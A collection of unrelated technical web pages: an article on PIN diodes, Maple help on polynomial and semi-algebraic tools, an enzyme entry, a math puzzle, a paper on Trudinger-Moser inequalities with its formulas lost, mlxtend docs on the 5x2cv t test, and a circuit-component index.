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PIN diode - 2D PCM Schematics - 3D Model
PIN diode (12285 views - Electronics & PCB)
A PIN diode is a diode with a wide, undoped intrinsic semiconductor region between a p-type semiconductor and an n-type semiconductor region. The p-type and n-type regions are typically heavily doped because they are used for ohmic contacts. The wide intrinsic region is in contrast to an ordinary p–n diode. The wide intrinsic region makes the PIN diode an inferior rectifier (one typical function of a diode), but it makes it suitable for attenuators, fast switches, photodetectors, and high voltage power electronics applications.
3D CAD Models - PIN diode
A PIN diode is a diode with a wide, undoped intrinsic semiconductor region between a p-type semiconductor and an n-type semiconductor region. The p-type and n-type regions are typically heavily doped because they are used for ohmic contacts.
The wide intrinsic region is in contrast to an ordinary p–n diode. The wide intrinsic region makes the PIN diode an inferior rectifier (one typical function of a diode), but it makes it suitable for attenuators, fast switches, photodetectors, and high voltage power electronics applications.
3.4 Photodetector and photovoltaic cell
A PIN diode operates under what is known as high-level injection. In other words, the intrinsic "i" region is flooded with charge carriers from the "p" and "n" regions. Its function can be likened to filling up a water bucket with a hole on the side. Once the water reaches the hole's level it will begin to pour out. Similarly, the diode will conduct current once the flooded electrons and holes reach an equilibrium point, where the number of electrons is equal to the number of holes in the intrinsic region. When the diode is forward biased, the injected carrier concentration is typically several orders of magnitude higher than the intrinsic carrier concentration. Due to this high level injection, which in turn is due to the depletion process, the electric field extends deeply (almost the entire length) into the region. This electric field helps in speeding up of the transport of charge carriers from the P to the N region, which results in faster operation of the diode, making it a suitable device for high frequency operations.
The PIN diode obeys the standard diode equation for low frequency signals. At higher frequencies, the diode looks like an almost perfect (very linear, even for large signals) resistor. There is a lot of stored charge in the intrinsic region. At low frequencies, the charge can be removed and the diode turns off. At higher frequencies, there is not enough time to remove the charge, so the diode never turns off. The PIN diode has a poor reverse recovery time.
The high-frequency resistance is inversely proportional to the DC bias current through the diode. A PIN diode, suitably biased, therefore acts as a variable resistor. This high-frequency resistance may vary over a wide range (from 0.1 Ω to 10 kΩ in some cases;[1] the useful range is smaller, though).
The wide intrinsic region also means the diode will have a low capacitance when reverse-biased.
In a PIN diode, the depletion region exists almost completely within the intrinsic region. This depletion region is much larger than in a PN diode, and almost constant-size, independent of the reverse bias applied to the diode. This increases the volume where electron-hole pairs can be generated by an incident photon. Some photodetector devices, such as PIN photodiodes and phototransistors (in which the base-collector junction is a PIN diode), use a PIN junction in their construction.
The diode design has some design trade-offs. Increasing the dimensions of the intrinsic region (and its stored charge) allows the diode to look like a resistor at lower frequencies. It adversely affects the time needed to turn off the diode and its shunt capacitance. It is therefore necessary to select a device with the appropriate properties for a particular use.
PIN diodes are useful as RF switches, attenuators, photodetectors, and phase shifters.[2]
Under zero- or reverse-bias (the "off" state), a PIN diode has a low capacitance. The low capacitance will not pass much of an RF signal. Under a forward bias of 1 mA (the "on" state), a typical PIN diode will have an RF resistance of about 1 ohm, making it a good RF conductor. Consequently, the PIN diode makes a good RF switch.
For example, the capacitance of an "off"-state discrete PIN diode might be 1 pF. At 320 MHz, the capacitive reactance of 1 pF is 497 ohms:
{\displaystyle Z_{diode}={\frac {1}{2\pi fC}}={\frac {1}{2\cdot \pi \cdot 320\times 10^{6}\cdot 1\times 10^{-12}}}={497}\ \Omega }
As a series element in a 50 ohm system, the off-state attenuation in dB is:
{\displaystyle A=20\log _{10}\left({\frac {Z_{load}}{Z_{source}+Z_{diode}+Z_{load}}}\right)=20\log _{10}\left({\frac {50}{50+497+50}}\right)={21.5}\ dB}
This attenuation may not be adequate. In applications where higher isolation is needed, both shunt and series elements may be used, with the shunt diodes biased in complementary fashion to the series elements. Adding shunt elements effectively reduces the source and load impedances, reducing the impedance ratio and increasing the off-state attenuation. However, in addition to the added complexity, the on-state attenuation is increased due to the series resistance of the on-state blocking element and the capacitance of the off-state shunt elements.
PIN diode switches are used not only for signal selection, but also component selection. For example, some low phase noise oscillators use them to range-switch inductors.[3]
An RF Microwave PIN diode Attenuator.
By changing the bias current through a PIN diode, it is possible to quickly change the RF resistance.
At high frequencies, the PIN diode appears as a resistor whose resistance is an inverse function of its forward current. Consequently, PIN diode can be used in some variable attenuator designs as amplitude modulators or output leveling circuits.
PIN diodes might be used, for example, as the bridge and shunt resistors in a bridged-T attenuator. Another common approach is to use PIN diodes as terminations connected to the 0 degree and -90 degree ports of a quadrature hybrid. The signal to be attenuated is applied to the input port, and the attenuated result is taken from the isolation port. The advantages of this approach over the bridged-T and pi approaches are (1) complementary PIN diode bias drives are not needed—the same bias is applied to both diodes—and (2) the loss in the attenuator equals the return loss of the terminations, which can be varied over a very wide range.
Photodetector and photovoltaic cell
The PIN photodiode was invented by Jun-ichi Nishizawa and his colleagues in 1950.[4]
PIN photodiodes are used in fibre optic network cards and switches. As a photodetector, the PIN diode is reverse-biased. Under reverse bias, the diode ordinarily does not conduct (save a small dark current or Is leakage). When a photon of sufficient energy enters the depletion region of the diode, it creates an electron, hole pair. The reverse bias field sweeps the carriers out of the region creating a current. Some detectors can use avalanche multiplication.
The same mechanism applies to the PIN structure, or p-i-n junction, of a solar cell. In this case, the advantage of using a PIN structure over conventional semiconductor p–n junction is the better long wavelength response of the former. In case of long wavelength irradiation, photons penetrate deep into the cell. But only those electron-hole pairs generated in and near the depletion region contribute to current generation. The depletion region of a PIN structure extends across the intrinsic region, deep into the device. This wider depletion width enables electron-hole pair generation deep within the device. This increases the quantum efficiency of the cell.
Commercially available PIN photodiodes have quantum efficiencies above 80-90% in the telecom wavelength range (~1500 nm), and are typically made of germanium or InGaAs. They feature fast response times (higher than their p-n counterparts), running into several tens of gigahertz,[5] making them ideal for high speed optical telecommunication applications. Similarly, silicon p-i-n photodiodes[6] have even higher quantum efficiencies, but can only detect wavelengths below the bandgap of silicon, i.e. ~1100 nm.
Typically, amorphous silicon thin-film cells use PIN structures. On the other hand, CdTe cells use NIP structure, a variation of the PIN structure. In a NIP structure, an intrinsic CdTe layer is sandwiched by n-doped CdS and p-doped ZnTe. The photons are incident on the n-doped layer unlike a PIN diode.
A PIN photodiode can also detect X-ray and gamma ray photons.
SFH203 and BPW43 are cheap general purpose PIN diodes in 5 mm clear plastic cases with bandwidths over 100 MHz. RONJA telecommunication systems are an example application.
This article uses material from the Wikipedia article "PIN diode", which is released under the Creative Commons Attribution-Share-Alike License 3.0. There is a list of all authors in Wikipedia
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Home : Support : Online Help : System : Libraries and Packages : Deprecated Packages and Commands : Deprecated commands : SDMPolynom
Important: The command SDMPolynom has been deprecated. A sparse distributed data structure is used by default for polynomials and is often more efficient than SDMPolynom. For information on creating and working with polynomials, see polynom.
SDMPolynom (Sparse Distributed Multivariate Polynomial) data structure is a dedicated data structure to represent polynomials. For example, the command a := SDMPolynom(x^3+5*x^2+11*x+15,x); creates the polynomial
a≔\mathrm{SDMPolynom}\left({x}^{3}+5{x}^{2}+11x+15,[x]\right)
This is a univariate polynomial in the variable x with integer coefficients.
Multivariate polynomials, and polynomials over other number rings and fields are constructed similarly. For example, a := SDMPolynom(x*y^3+sqrt(-1)*y+y/2,[x,y]); creates
a≔\mathrm{SDMPolynom}\left(x{y}^{3}+\left(\frac{1}{2}+I\right)y,[x,y]\right)
\sqrt{-1}
, which is denoted by capital I in Maple.
The type function can be used to test for polynomials. For example the command type(a, SDMPolynom) tests whether the expression a is a polynomial in the variable x. For details, see type/SDMPolynom.
Polynomials in Maple are sorted in lexicographic order, that is, in descending power of the first indeterminate.
The remainder of this file contains a list of operations that are available for polynomials.
the indeterminate of a polynomial
All the arithmetic operations on polynomials are wrapped inside the constructor SDMPolynom.
maximum norm of a polynomial
mapping an operation on the coefficients of a polynomial
converting Polynomials to a Sum of Products
The SDMPolynom command is thread-safe as of Maple 15.
a≔\mathrm{SDMPolynom}\left({x}^{3}+5{x}^{2}+11xy-6y+15,[x,y]\right):
\mathrm{degree}\left(a,x\right)
\textcolor[rgb]{0,0,1}{3}
\mathrm{degree}\left(a,y\right)
\textcolor[rgb]{0,0,1}{1}
\mathrm{coeff}\left(a,x,2\right)
\textcolor[rgb]{0,0,1}{\mathrm{SDMPolynom}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{5}\textcolor[rgb]{0,0,1}{,}[\textcolor[rgb]{0,0,1}{y}]\right)
\mathrm{coeff}\left(a,y,1\right)
\textcolor[rgb]{0,0,1}{\mathrm{SDMPolynom}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{11}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{6}\textcolor[rgb]{0,0,1}{,}[\textcolor[rgb]{0,0,1}{x}]\right)
\mathrm{coeffs}\left(a,x\right)
\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{6}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{15}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{11}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{5}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{1}
\mathrm{subs}\left([x=3,y=2],a\right)
\textcolor[rgb]{0,0,1}{141}
\mathrm{type}\left(a,\mathrm{SDMPolynom}\right)
\textcolor[rgb]{0,0,1}{\mathrm{true}}
\mathrm{nops}\left(a\right)
\textcolor[rgb]{0,0,1}{17}
\mathrm{op}\left(3,a\right)
\textcolor[rgb]{0,0,1}{1}
\mathrm{op}\left(a\right)
\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{3}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{5}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{11}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{-6}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{15}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{0}
\mathrm{diff}\left(a,x\right)
\textcolor[rgb]{0,0,1}{\mathrm{SDMPolynom}}\textcolor[rgb]{0,0,1}{}\left(\textcolor[rgb]{0,0,1}{3}\textcolor[rgb]{0,0,1}{}{\textcolor[rgb]{0,0,1}{x}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{10}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{11}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{,}[\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{y}]\right)
\mathrm{convert}\left(a,'\mathrm{polynom}'\right)
{\textcolor[rgb]{0,0,1}{x}}^{\textcolor[rgb]{0,0,1}{3}}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{5}\textcolor[rgb]{0,0,1}{}{\textcolor[rgb]{0,0,1}{x}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{11}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{6}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{15}
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Home : Support : Online Help : Mathematics : Factorization and Solving Equations : RegularChains : SemiAlgebraicSetTools Subpackage : Overview
Overview of the RegularChains[SemiAlgebraicSetTools] Subpackage of RegularChains
List of RegularChains[SemiAlgebraicSetTools] Subpackage Commands
RegularChains[SemiAlgebraicSetTools][command](arguments)
The RegularChains[SemiAlgebraicSetTools] subpackage contains a collection of commands for manipulating semi-algebraic systems and their solution sets. A semi-algebraic system is a set of equations, inequations and inequalities given by polynomials; the coefficients of those polynomials and the unknowns are all real numbers. A solution of such system is a point whose coordinates satisfy all these equations, inequations and inequalities simultaneously once the coordinates of this point replace the polynomial variables, according to a prescribed variable ordering.
The RegularChains library offers a rich set of tools for manipulating semi-algebraic systems and their solutions. A large portion of those commands are located in the RegularChains[SemiAlgebraicSetTools] subpackage. Others can be found in the RegularChains[ParametricSystemTools] subpackage, such as RealRootClassification and RealComprehensiveTriangularize or at the top-level of the library, such as RealTriangularize, SamplePoints, LazyRealTriangularize.
For semi-algebraic systems with finitely many solutions, the RegularChains[SemiAlgebraicSetTools] subpackage provides commands for isolating and counting the solutions of such systems. These commands can also be used for isolating and counting the real roots of zero-dimensional regular chains (that is, regular chains with a finite number of complex solutions).
Each real root of a zero-dimensional regular chain (or of a semi-algebraic system with finitely many solutions) can be isolated using a so-called box, that is, a Cartesian product of singletons and open intervals. See the commands RealRootIsolate and BoxValues.
Each box can be refined with an arbitrary small precision. See the commands RefineBox and RefineListBox.
Two methods can be used for isolating real roots of zero-dimensional regular chains and semi-algebraic systems. The first one is a generalization of the Vincent-Collins-Akritas Algorithm which isolates real roots for univariate polynomials. The techniques are very close to the ones used by Renaud Rioboo in his ISSAC 1992 paper (see reference below). The other method implements the algorithm of the paper "An Algorithm for Isolating the Real Solutions of Semi-algebraic Systems." by B. Xia and L. Yang.
The command RealRootCounting counts the number of solutions of a semi-algebraic system with finitely many solutions.
The empty set is a special semi-algebraic set which can be constructed by the command EmptySemiAlgebraicSet.
An important tool provided by this package is a command for cylindrical algebraic decomposition. See the command CylindricalAlgebraicDecompose. In broad terms, for a given set of polynomials in n variables, this commands computes a partition of the n-dimensional Euclidean space into regions, where the sign (negative, null or positive) of each of those polynomials does not change.
Another related tool is a command for partial cylindrical algebraic decomposition. See the command PartialCylindricalAlgebraicDecomposition. It computes only the maximal dimensional cells of the cylindrical algebraic decomposition induced by the input polynomials and represent each of which by a rational sample point. It can be used as a subroutine to decide whether a semi-algebraic system with only strict positive inequalities has solutions or not. Together with the other commands of this package, it is an essential tool for studying the real solutions of polynomial systems, with or without parameters. For the parametric case, see the command RealRootClassification. For the non-parametric case, see the command RealTriangularize.
The output of RealTriangularize is a list of regular semi-algebraic systems. A regular semi-algebraic system is the adaptation of the notion of a regular chain to the purpose of computing the real solutions of a polynomial system, by means of triangular decomposition techniques. See the mathematical definitions below and the command RealTriangularize for details.
Another important command is QuantifierElimination, which returns a quantifier-free logic formula logically equivalent to the quantified formula given as input.
The command RemoveRedundantComponents returns a list of regular semi-algebraic system whose zero sets are pairwise noninclusive. The input and output regular semi-algebraic systems should have the same zero set.
The output of RealRootClassification is a pair consisting of a list of regular semi-algebraic sets and a so-called border polynomial. Up to exceptional cases, a border polynomial is a list of polynomials. See the mathematical definitions below and the command BorderPolynomial for details.
The commands Complement, Difference, Intersection, IsEmpty, IsContained and Projection perform operations on semi-algebraic sets represented by regular semi-algebraic systems.
The commands RepresentingBox, IsParametricBox, DisplayParametricBox, LinearSolve, RepresentingChain, PositiveInequalities, RepresentingQuantifierFreeFormula, DisplayQuantifierFreeFormula, RepresentingRootIndex, VariableOrdering can be used to inspect regular semi-algebraic systems and regular semi-algebraic sets.
A regular semi-algebraic system of R is the data of a regular chain rc of R, a list P of polynomials of R (each of them defining a positive inequality) and a quantifier-free formula Q given by polynomials involving the free variables of rc only. In addition, the following three constraints are satisfied. First, each polynomial in P is regular w.r.t. the saturated ideal of rc. Second, Q defines a non-empty and open semi-algebraic set C in the space of the free variables of rc. Third, if
S
denotes the semi-algebraic system whose equations are given by the polynomials of rc, whose positive inequalities are given by the polynomials of P and with no inequations, then
S
admits real solutions at any point of C.
The zero set of the regular semi-algebraic system given by rc, P and Q consists of all the zeros of
S
that extend a point of C.
A regular semi-algebraic set is an encoding for some (or all the) real solutions of a regular chain rc whose non-algebraic variables are constrained in a non-empty semi-algebraic set C such that rc separates well (that is, is delineable) and admits a positive constant number of real solutions at any point of C.
In theory, a regular semi-algebraic set can always be defined as the union of zero sets of finitely many regular semi-algebraic systems and vice versa. However, the first encoding is more suitable for certain algorithms such as the one of the RealRootClassification command. This encoding is described below.
When it is finite, a regular semi-algebraic set can be encoded as a list of points with real coordinates. Each point is defined by a regular chain and a Cartesian product of isolation intervals. Such an encoding is called a numeric box (or simply a box). See the commands RealRootIsolate and BoxValues for more precise details.
When it is infinite, a regular semi-algebraic set can be encoded by the data of a regular chain rc of R, a quantifier-free formula Q given by polynomials involving the free variables of rc and a root index list L (to be defined hereafter). In addition, the two following properties must hold. The quantifier-free formula Q defines a non-empty semi-algebraic set C such that rc separates well (that is, is delineable) and admits a positive and constant number of real solutions at any point of C. As a consequence, you can index the real solutions of rc uniformly above C. This is where root index list L is introduced. It allows one to select some of the real roots of rc. Finally, the regular chain rc, the quantifier-free formula Q and the root index list L form a so-called parametric box.
A squarefree semi-algebraic system of R is a squarefree regular system (as defined in ConstructibleSetTools) given by a regular chain rc of R and a polynomial set P such that each polynomial in P must be regular modulo the saturated ideal of rc, which itself must be radical. The zero set of this squarefree semi-algebraic system consists of the real points of the quasi-component of rc which make each polynomial in P strictly positive. The type squarefree_semi_algebraic_system is used for squarefree semi-algebraic systems.
A semi-algebraic set is any zero set of a semi-algebraic system. Here semi-algebraic system is understood as any finite disjunction of conjunction of polynomial equations, inequations and inequalities. The type semi_algebraic_set is used for semi-algebraic sets. One possible representation is by regular semi-algebraic systems. An alternative representation is by CAD cells.
A CAD cell of the n-dimensional Euclidean space with coordinates x1 < ... < xn is defined recursively as follows. For n=1 it is either a point or an interval; in the first case x1 is set to an algebraic expression while in the second case x1 is strictly bounded between two algebraic expressions; in both cases each of these algebraic expressions is a RootOf expression where the defining polynomial is univariate over the rational numbers. For n>1 it is a CAD cell of the n-1-dimensional space together with a constraint on xn of type section or sector. In the first case xn is set to an algebraic expression and in the second xn is strictly bounded between two algebraic expressions; in both cases, each algebraic expression is a RootOf expression where the defining polynomial is univariate with coefficients that are polynomials in the previous coordinates.
QuantifierElimination
Changbo Chen, Marc Moreno Maza "An Incremental Algorithm for Computing Cylindrical Algebraic Decomposition." Proceedings of ASCM 2012, Computer Mathematics, Springer, (2014): 199-221.
Changbo Chen, Marc Moreno Maza " Quantifier elimination by cylindrical algebraic decomposition based on regular chain." . J. Symb. Comput. 75: 74-93 (2016)
Changbo Chen, Marc Moreno Maza "Simplification of Cylindrical Algebraic Formula." Computer Algebra in Scientific Computing (CASC), Lecture Notes in Computer Science - 9301, (2015): 119-134.
F. Boulier, C. Chen, F. Lemaire, M. Moreno Maza "Real root isolation of regular chains." ASCM'09, Math-for-Industry, Lecture Note Series Vol. 22 (2009): 15-29.
C. Chen, J.H. Davenport, J. May, M. Moreno Maza, B. Xia, R. Xiao, Y. Xie "User interface design for geometrical decomposition algorithms in Maple." MathUI'09.
C. Chen, J.H. Davenport, J. May, M. Moreno Maza, B. Xia, R. Xiao "Triangular Decomposition of semi-algebraic systems." ISSAC'10, ACM Press, 2010.
C. Chen, J.H. Davenport, M. Moreno Maza, B. Xia, R. Xiao "Computing with semi-algebraic sets represented by triangular decomposition". ISSAC'11, ACM Press, 2011.
C. Chen, M. Moreno Maza, B. Xia, L. Yang "Computing cylindrical algebraic decomposition via triangular decomposition." ISSAC'09, ACM Press, 2009.
C. Chen, and M. Moreno Maza. "Semi-algebraic description of the equilibria of dynamical systems." Proc. Cof the 2011 International Workshop on Computer Algebra in Scientific Computing (CASC 2011), LNCS Vol. 6885: 101-125. Springer, 2011.
R. Rioboo. "Computation of the real closure of an ordered field." ISSAC'92, Academic Press, San Francisco.
L. Yang, X. Hou, B. Xia. "A complete algorithm for automated discovering of a class of inequality-type theorems." Sci. China Ser. F, Vol. 44 (2001): 33-49.
B. Xia, L. Yang. "An Algorithm for Isolating the Real Solutions of Semi-algebraic Systems." J. Symb. Comput., Vol. 34 No. 5 (2002): 461-477.
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((1-6)-alpha-D-xylo)-(1-4)-beta-D-glucan glucanohydrolase Wikipedia
((1-6)-alpha-D-xylo)-(1-4)-beta-D-glucan glucanohydrolase
In enzymology, a xyloglucan-specific endo-beta-1,4-glucanase (EC 3.2.1.151) is an enzyme that catalyzes the chemical reaction
{\displaystyle \rightleftharpoons }
xyloglucan oligosaccharides
Thus, the two substrates of this enzyme are xyloglucan and H2O, whereas its product is xyloglucan oligosaccharides.
This enzyme belongs to the family of hydrolases, specifically those glycosidases that hydrolyse O- and S-glycosyl compounds. The systematic name of this enzyme class is [(1->6)-alpha-D-xylo]-(1->4)-beta-D-glucan glucanohydrolase. Other names in common use include XEG, xyloglucan endo-beta-1,4-glucanase, xyloglucanase, xyloglucanendohydrolase, XH, and 1,4-beta-D-glucan glucanohydrolase.
Family 12 was first identified in plant pathogens by discovery in Phytophthora spp.
As of late 2007, 15 structures have been solved for this class of enzymes, with PDB accession codes 2CN2, 2CN3, 2E0P, 2E4T, 2EEX, 2EJ1, 2EO7, 2EQD, 2JEM, 2JEN, 2JEP, 2JEQ, 2UWA, 2UWB, and 2UWC.
Pauly M, Andersen LN, Kauppinen S, Kofod LV, York WS, Albersheim P, Darvill A (January 1999). "A xyloglucan-specific endo-beta-1,4-glucanase from Aspergillus aculeatus: expression cloning in yeast, purification and characterization of the recombinant enzyme". Glycobiology. 9 (1): 93–100. doi:10.1093/glycob/9.1.93. PMID 9884411.
Costanzo S, Ospina-Giraldo MD, Deahl KL, Baker CJ, Jones RW (October 2006). "Gene duplication event in family 12 glycosyl hydrolase from Phytophthora spp". Fungal Genetics and Biology. 43 (10): 707–14. doi:10.1016/j.fgb.2006.04.006. PMID 16784880.
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A Sneak Peek at a Weird Machine - Global Math Week
I1SCQ1
There is an island of weird machines for us to explore later, but why not have a sneak peek at a weird machine right now?
2 \leftarrow 3
It follows the rule that whenever there are three dots in a box, they explode away to be replaced with two dots, one box to their left.
Here are ten dots loaded into a
2 \leftarrow 3
What code for ten does the machine give?
Work out the
2 \leftarrow 3
codes for the numbers one up to twenty (or higher if you like) and record them on a piece of paper.
I have some questions about these codes next.
What patterns do you see in these codes?
Does it make sense that the final digits of the codes cycle
1, 2, 0, 1, 2, 0, ...
After a while do all the codes begin with a
2
? Begin with
21
? Begin with … ?
We’ll definitely come back to this weird machine later on!
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Yunyan Yang, Xiaobao Zhu, "Trudinger-Moser Embedding on the Hyperbolic Space", Abstract and Applied Analysis, vol. 2014, Article ID 908216, 4 pages, 2014. https://doi.org/10.1155/2014/908216
Yunyan Yang1 and Xiaobao Zhu1
1Department of Mathematics, Renmin University of China, Beijing 100872, China
Let be the hyperbolic space of dimension . By our previous work (Theorem 2.3 of (Yang (2012))), for any , there exists a constant depending only on and such that where , is the measure of the unit sphere in , and . In this note we shall improve the above mentioned inequality. Particularly, we show that, for any and any , the above mentioned inequality holds with the definition of replaced by . We solve this problem by gluing local uniform estimates.
Let be a bounded smooth domain in . The classical Trudinger-Moser inequality [1–3] says for some constant depending only on , where is the usual Sobolev space and denotes the Lebesgue measure of . In the case where is an unbounded domain of , the above integral is infinite, but it was shown by Cao [4], Panda [5], and do Ó [6] that for any and any there holds Later Ruf [7], Li and Ruf [8], and Adimurthi and Yang [9] obtained (2) in the critical case .
The study of Trudinger-Moser inequalities on compact Riemannian manifolds can be traced back to Aubin [10], Cherrier [11, 12], and Fontana [13]. A particular case is as follows. Let be an -dimensional compact Riemannian manifold without boundary. Then there holds
In view of (2), it is natural to consider extension of (3) on complete noncompact Riemannian manifolds. In [14] we obtained the following results. Let be a complete noncompact Riemannian manifold. If the Trudinger-Moser inequality holds on it, then there holds . If the Ricci curvature has lower bound, say , the injectivity radius has a positive lower bound then for any there exists a constant depending only on , , , and such that Since depends on , (4) is weaker than (2) when is replaced by . Moreover, the condition that has lower bound is not necessary for the validity of the Trudinger-Moser inequality.
In this note, we will continue to study (4) in whole by gluing local uniform estimates. Particularly, we have the following.
Theorem 1. Let be an -dimensional hyperbolic space, , where is the measure of the unit sphere in . Then for any , any , and any satisfying , there exists some constant depending only on and such that
The proof of Theorem 1 is based on local uniform estimates (Lemma 2 below). This idea comes from [14] and can also be used in other cases [15, 16].
We remark that critical case of (5) was studied by Adimurthi and Tintarev [17], Mancini and Sandeep [18], and Mancini et al. ([19]) via different methods.
The remaining part of this note is organized as follows. In Section 2 we derive local uniform Trudinger-Moser inequalities; in Section 3, Theorem 1 is proved.
To get (5), we need the following uniform local estimates which is an analogy of ([15], Lemma 4.1) or ([16], Lemma 1), and it is of its own interest.
Lemma 2. For any , any , and any with , there exists some constant depending only on such that where denotes the geodesic ball of which is centered at with radius .
Proof. It is well known (see, e.g., [20], II.5, Theorem 1) that there exists a homomorphism such that , that in these coordinates the Riemannian metric can be represented by where is the standard Euclidean metric on , and that where denotes a ball centered at with radius . Moreover, the corresponding polar coordinates read where is the standard metric on .
Denote ; then , , and . Calculating directly, we have Since , we have . Noting that , we have by (10) The standard Trudinger-Moser inequality (1) implies where is a constant depending only on . This together with (10) immediately leads to This is exactly (6) and thus ends the proof of the lemma.
As a corollary of Lemma 2, the following estimates can be compared with (1).
Corollary 3. For any , any , and any with , there exists some constant depending only on such that
Proof. Since it follows from (13) that there exists some constant depending only on such that In particular, Here and in the sequel we often denote various constants by the same ; the reader can easily distinguish them from the context. Noting that for any , , we conclude Combining (16) and (19), we obtain (14).
In this section, we will prove Theorem 1 by gluing local estimates (6).
Proof of Theorem 1. Let be a positive real number which will be determined later. By ([21], Lemma 1.6) we can find a sequence of points such that , that for any , and that for any , belongs to at most balls , where depends only on . Let be the cut-off function satisfies the following conditions: (i) ; (ii) on and on ; (iii) . Let be fixed. For any satisfying we have . For any , using an elementary inequality , we find some constant depending only on and such that where in the last inequality we choose a sufficiently large to make sure . Let and . Noting that , we have by (21) and Lemma 2 where is a constant depending only on and . By the choice of and (22), we have for some constant depending only on and . For any , we can choose sufficiently small such that . This ends the proof of Theorem 1.
This work is supported by the NSFC 11171347. The authors thank the referee for pointing out some grammar mistakes and the reference [19].
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Copyright © 2014 Yunyan Yang and Xiaobao Zhu. This is an open access article distributed under the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
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paired_ttest_5x2cv: 5x2cv paired *t* test for classifier comparisons - mlxtend
paired_ttest_5x2cv: 5x2cv paired t test for classifier comparisons
Example 1 - 5x2cv paired t test
5x2cv paired t test procedure to compare the performance of two models
The 5x2cv paired t test is a procedure for comparing the performance of two models (classifiers or regressors) that was proposed by Dietterich [1] to address shortcomings in other methods such as the resampled paired t test (see paired_ttest_resampled) and the k-fold cross-validated paired t test (see paired_ttest_kfold_cv).
To explain how this method works, let's consider to estimator (e.g., classifiers) A and B. Further, we have a labeled dataset D. In the common hold-out method, we typically split the dataset into 2 parts: a training and a test set. In the 5x2cv paired t test, we repeat the splitting (50% training and 50% test data) 5 times.
In each of the 5 iterations, we fit A and B to the training split and evaluate their performance (
p_A
p_B
) on the test split. Then, we rotate the training and test sets (the training set becomes the test set and vice versa) compute the performance again, which results in 2 performance difference measures:
Then, we estimate the estimate mean and variance of the differences:
\overline{p} = \frac{p^{(1)} + p^{(2)}}{2}
s^2 = (p^{(1)} - \overline{p})^2 + (p^{(2)} - \overline{p})^2.
The variance of the difference is computed for the 5 iterations and then used to compute the t statistic as follows:
p_1^{(1)}
p_1
from the very first iteration. The t statistic, assuming that it approximately follows as t distribution with 5 degrees of freedom, under the null hypothesis that the models A and B have equal performance. Using the t statistic, the p value can be computed and compared with a previously chosen significance level, e.g.,
\alpha=0.05
\alpha
Note that these accuracy values are not used in the paired t test procedure as new test/train splits are generated during the resampling procedure, the values above are just serving the purpose of intuition.
\alpha=0.05
for rejecting the null hypothesis that both algorithms perform equally well on the dataset and conduct the 5x2cv t test:
t, p = paired_ttest_5x2cv(estimator1=clf1,
p > \alpha
t statistic: 5.386
\alpha=0.05
p < 0.001
\alpha
paired_ttest_5x2cv(estimator1, estimator2, X, y, scoring=None, random_seed=None)
Implements the 5x2cv paired t test proposed by Dieterrich (1998) to compare the performance of two models.
Random seed for creating the test/train splits.
For usage examples, please see http://rasbt.github.io/mlxtend/user_guide/evaluate/paired_ttest_5x2cv/
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Description of the Battery Cell component in Schematic Editor
This section describes independent sources
Description of the controlled sources components in Schematic Editor.
Externally controlled sources
Description of the Externally Controlled Current Source and Externally Controlled Voltage Source components in Schematic Editor
Signal controlled sources
Description of the Signal Controlled Voltage Source and Signal Controlled Current Source components in Schematic Editor
Signal controlled sinusoidal voltage source
Description of the Signal Controlled Sinusoidal Voltage Source component in Schematic Editor
Description of the Battery component in Schematic Editor
Description of the Photovoltaic Panel component in Schematic Editor (t-tn002 - PV module-modeling and application)
Constant power loads/sources
Description of the constant power loads/sources components in Schematic Editor
Proton Exchange Membrane (PEM) Fuel Cell component in Schematic Editor
Description of the Ground component in Schematic Editor
Table 1. Battery Cell component in Schematic Editor
component dialog window
Enhanced self correcting cell model.
